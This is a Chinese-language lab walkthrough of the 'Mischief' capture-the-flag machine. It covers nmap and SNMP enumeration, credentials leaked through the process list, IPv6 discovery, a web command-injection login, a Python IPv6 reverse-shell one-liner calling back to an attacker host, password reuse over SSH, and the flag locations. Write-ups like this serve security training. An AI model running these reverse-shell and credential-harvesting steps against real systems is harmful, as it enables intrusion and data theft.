Mischief 靶机实战
字数 1541 2025-08-27 12:33:42
Mischief 靶机渗透测试实战教学文档
1. 靶机信息收集
1.1 初始端口扫描
使用nmap进行全端口扫描:
nmap -sC -sV -p- -v -Pn 10.10.10.92
扫描结果:
- 22/tcp - OpenSSH 7.6p1 Ubuntu 4
- 3366/tcp - Radicale calendar and contacts server (Python BaseHTTPServer)
- 需要基本认证(Basic Auth)
- 服务器头: SimpleHTTP/0.6 Python/2.7.15rc1
1.2 UDP端口扫描
nmap -sU -v 10.10.10.92
发现开放端口:
- 161/udp - SNMP服务
2. SNMP信息收集
2.1 使用snmpwalk收集信息
snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3
发现IPv6地址线索:
222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143
2.2 使用snmp-check收集信息
snmp-check 10.10.10.92 -c public
关键发现:
- 系统信息:
- 主机名: Mischief
- 描述: Linux Mischief 4.15.0-20-generic
- 进程信息:
获取到3366端口的认证凭据:626 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/loki:godofmischiefisloki
3. IPv6地址转换与枚举
3.1 转换IPv6地址
将十进制IPv6地址转换为十六进制:
222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143
→ dead:beef:00:00:250:56ff:feb9:f28f
3.2 使用Enyx枚举IPv6地址
git clone https://github.com/trickster0/Enyx.git
python enyx.py 2c public 10.10.10.92
发现更多IPv6地址:
- Loopback:
0000:0000:0000:0000:0000:0000:0000:0001 - Unique-Local:
dead:beef:0000:0000:0250:56ff:feb9:f28f - Link Local:
fe80:0000:0000:0000:0250:56ff:feb9:f28f
4. IPv6服务扫描
nmap -6 -sV dead:beef:00:00:250:56ff:feb9:f28f
扫描结果:
- 22/tcp - OpenSSH 7.6p1 Ubuntu 4
- 80/tcp - Apache httpd 2.4.29 (Ubuntu)
5. Web应用渗透
5.1 访问IPv6 Web服务
URL格式:
http://[dead:beef:00:00:250:56ff:feb9:f28f]
5.2 尝试登录
使用之前获得的凭据loki:godofmischiefisloki无效,尝试常见用户名:
- 成功登录组合:
administrator:trickeryanddeceit
5.3 获取反向Shell
- 在攻击机设置IPv6监听:
nc -6nlvp 4444
- 在Web应用命令执行处输入Python反向Shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1319",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 升级Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
6. 获取用户凭证
在/home/loki/目录下找到凭证文件:
cat credentials
输出:pass: lokiisthebestnorsegod
使用该凭证通过SSH登录:
ssh loki@10.10.10.92
密码:lokiisthebestnorsegod
获取user flag:
cat user.txt
7. 权限提升
7.1 检查历史命令
cat ~/.bash_history
发现其他可能的密码:lokipasswordmischieftrickery
7.2 查找root flag
发现root flag位于非常规位置:
find / -name root.txt
输出:
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
8. 关键知识点总结
-
全端口扫描:初始扫描可能遗漏重要端口,使用
-p-参数扫描全端口 -
SNMP信息收集:
- 使用
snmpwalk和snmp-check获取系统详细信息 - 关注进程列表中的敏感信息(如硬编码凭据)
- 使用
-
IPv6渗透:
- 识别和转换IPv6地址格式
- 使用
-6参数扫描IPv6服务 - IPv6反向Shell需要相应调整
-
凭证复用:
- 在不同服务尝试相同的用户名/密码组合
- 检查历史命令和配置文件寻找凭证
-
非常规flag位置:某些靶机会将flag放在非标准位置增加难度
9. 工具清单
- nmap - 端口扫描
- snmpwalk/snmp-check - SNMP信息收集
- Enyx - IPv6地址枚举工具
- netcat - 建立反向Shell连接
- Python - 用于Shell升级和反向Shell